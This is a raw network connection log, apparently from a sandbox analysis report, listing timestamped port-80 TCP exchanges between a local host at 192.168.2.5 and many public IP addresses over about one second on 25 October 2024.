Oct 25, 2024 11:18:09.341447115 CEST	52861	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:09.343687057 CEST	52861	80	192.168.2.5	193.166.255.171
Oct 25, 2024 11:18:09.346927881 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.347088099 CEST	52862	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.349126101 CEST	80	52861	193.166.255.171	192.168.2.5
Oct 25, 2024 11:18:09.352761984 CEST	80	52570	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:09.352849007 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.353809118 CEST	80	52862	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:09.353876114 CEST	52862	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.354026079 CEST	52862	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.360039949 CEST	80	52862	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:09.373792887 CEST	80	52847	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:09.375122070 CEST	52847	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:09.375644922 CEST	52847	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:09.375668049 CEST	80	52840	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:09.375730038 CEST	52840	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:09.382206917 CEST	80	52847	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:09.382271051 CEST	52847	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:09.394838095 CEST	52863	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:09.400719881 CEST	80	52863	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:09.401485920 CEST	52863	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:09.401710987 CEST	52863	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:09.401731968 CEST	52578	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:09.401972055 CEST	52864	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:09.407506943 CEST	80	52863	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:09.407552004 CEST	80	52578	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:09.407591105 CEST	80	52864	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:09.407743931 CEST	52864	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:09.407844067 CEST	52864	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:09.413711071 CEST	80	52864	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:09.425941944 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:09.426189899 CEST	52866	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:09.427970886 CEST	80	52848	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.428046942 CEST	52848	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.431370020 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:09.431662083 CEST	80	52866	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:09.431736946 CEST	52866	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:09.431874037 CEST	52866	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:09.437522888 CEST	80	52866	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:09.458084106 CEST	80	52852	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:09.458297968 CEST	52852	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:09.487286091 CEST	80	52842	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:09.487374067 CEST	52842	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:09.492752075 CEST	80	52852	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:09.492891073 CEST	52852	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:09.492984056 CEST	52852	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:09.498011112 CEST	80	52854	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:09.498125076 CEST	52854	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:09.500236988 CEST	80	52852	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:09.501837969 CEST	80	52841	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:09.502424955 CEST	52841	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:09.577347040 CEST	52854	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:09.582890034 CEST	80	52854	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:09.582981110 CEST	52602	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:09.583503008 CEST	52868	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:09.584285975 CEST	52584	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:09.584448099 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:09.585232019 CEST	52870	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:09.585622072 CEST	52871	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:09.588965893 CEST	80	52602	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:09.589133024 CEST	80	52868	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:09.589159966 CEST	52602	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:09.589214087 CEST	52872	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.589266062 CEST	52868	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:09.589339972 CEST	52868	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:09.589986086 CEST	80	52584	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:09.590019941 CEST	80	52869	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:09.590082884 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:09.590174913 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:09.591186047 CEST	80	52870	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:09.591275930 CEST	52870	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:09.591361046 CEST	52870	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:09.591614008 CEST	80	52871	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:09.591676950 CEST	52871	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:09.591805935 CEST	52871	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:09.594794035 CEST	80	52872	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:09.594882011 CEST	52872	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.594974995 CEST	52872	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.595185041 CEST	80	52868	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:09.595711946 CEST	80	52869	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:09.596959114 CEST	80	52870	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:09.597287893 CEST	80	52871	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:09.600579023 CEST	80	52872	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:09.603426933 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603480101 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603490114 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603538990 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603643894 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603694916 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603703022 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603739023 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603739977 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603785038 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603791952 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603827953 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603837967 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603862047 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603897095 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603912115 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603934050 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.603944063 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.603979111 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.608897924 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.608935118 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.609016895 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.609031916 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.609359026 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.609443903 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.609546900 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.634995937 CEST	80	52851	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:09.635123968 CEST	52851	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:09.657075882 CEST	52851	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:09.662655115 CEST	80	52851	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:09.720675945 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.720731020 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.720766068 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.720799923 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.720815897 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.720833063 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.720834970 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.720870018 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.720896959 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.721050024 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.721098900 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.721154928 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.721188068 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.721200943 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.721230984 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.721549034 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.721597910 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.721647024 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.721679926 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.721713066 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.721724033 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.721916914 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.722223997 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.722275019 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.722309113 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.722322941 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.722342014 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.722356081 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.722378016 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.722393036 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.722493887 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.723145962 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.723197937 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.723201036 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.723247051 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.723248959 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.723284006 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.723289967 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.723330975 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.723366976 CEST	80	52854	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:09.723438978 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.723454952 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.723474026 CEST	52854	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:09.724005938 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.724037886 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.724066973 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.724082947 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.751964092 CEST	80	52858	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.752021074 CEST	52858	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.764620066 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.764672995 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.764705896 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.764743090 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.764772892 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.780109882 CEST	52858	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.785594940 CEST	80	52858	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.805295944 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:09.805675983 CEST	52874	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:09.811156034 CEST	80	52874	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:09.811234951 CEST	52874	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:09.811352968 CEST	80	52580	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:09.811434031 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:09.811486959 CEST	52874	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:09.817955017 CEST	80	52874	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:09.837677002 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.837708950 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.837743044 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.837778091 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.837788105 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.837811947 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.837826014 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.837850094 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.837862968 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.837873936 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.837912083 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.837930918 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838062048 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838244915 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838354111 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838387012 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838422060 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838449001 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838490963 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838748932 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838782072 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838816881 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838850021 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838850975 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838880062 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838886023 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838903904 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838920116 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.838926077 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838959932 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.838977098 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839021921 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.839585066 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839639902 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839679003 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839694023 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.839704037 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.839711905 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839724064 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.839747906 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839754105 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.839782000 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839792013 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.839817047 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.839867115 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.840594053 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.840627909 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.840662956 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.840696096 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.840698957 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.840717077 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.840732098 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.840744019 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.840765953 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.840771914 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.840802908 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.840806007 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.840843916 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.841458082 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.841490984 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.841523886 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.841556072 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.841563940 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.841578007 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.841590881 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.841612101 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.841624975 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.841635942 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.841660976 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.841665983 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.841701031 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.842298985 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.842350006 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.842385054 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.842401981 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.842413902 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.842417955 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.842432976 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.842470884 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.842474937 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.842518091 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.883151054 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.883220911 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.883260012 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.883271933 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.883291006 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.883296967 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.883318901 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.883358955 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.883411884 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.916651011 CEST	80	52851	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:09.916743040 CEST	52851	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:09.938502073 CEST	80	52858	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:09.938565016 CEST	52858	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:09.939207077 CEST	80	52856	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:09.939296961 CEST	52856	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:09.954741955 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.954799891 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.954835892 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.954870939 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.954895973 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.954905987 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.954941034 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.954941988 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.954956055 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.954976082 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.954987049 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955012083 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955054045 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955065966 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955117941 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955163002 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955169916 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955204964 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955238104 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955245972 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955271959 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955295086 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955305099 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955306053 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955352068 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955357075 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955391884 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955427885 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955431938 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955656052 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955688953 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955703020 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955729008 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955743074 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955776930 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955811024 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955820084 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955847979 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955892086 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.955945969 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955981016 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.955991983 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.956016064 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.956032991 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.956054926 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.956058979 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.956096888 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.956116915 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.956151962 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.956533909 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.956579924 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.956662893 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.956697941 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.956738949 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.956948042 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.956981897 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.957015991 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.957032919 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.957052946 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.957053900 CEST	52839	80	192.168.2.5	104.26.15.53
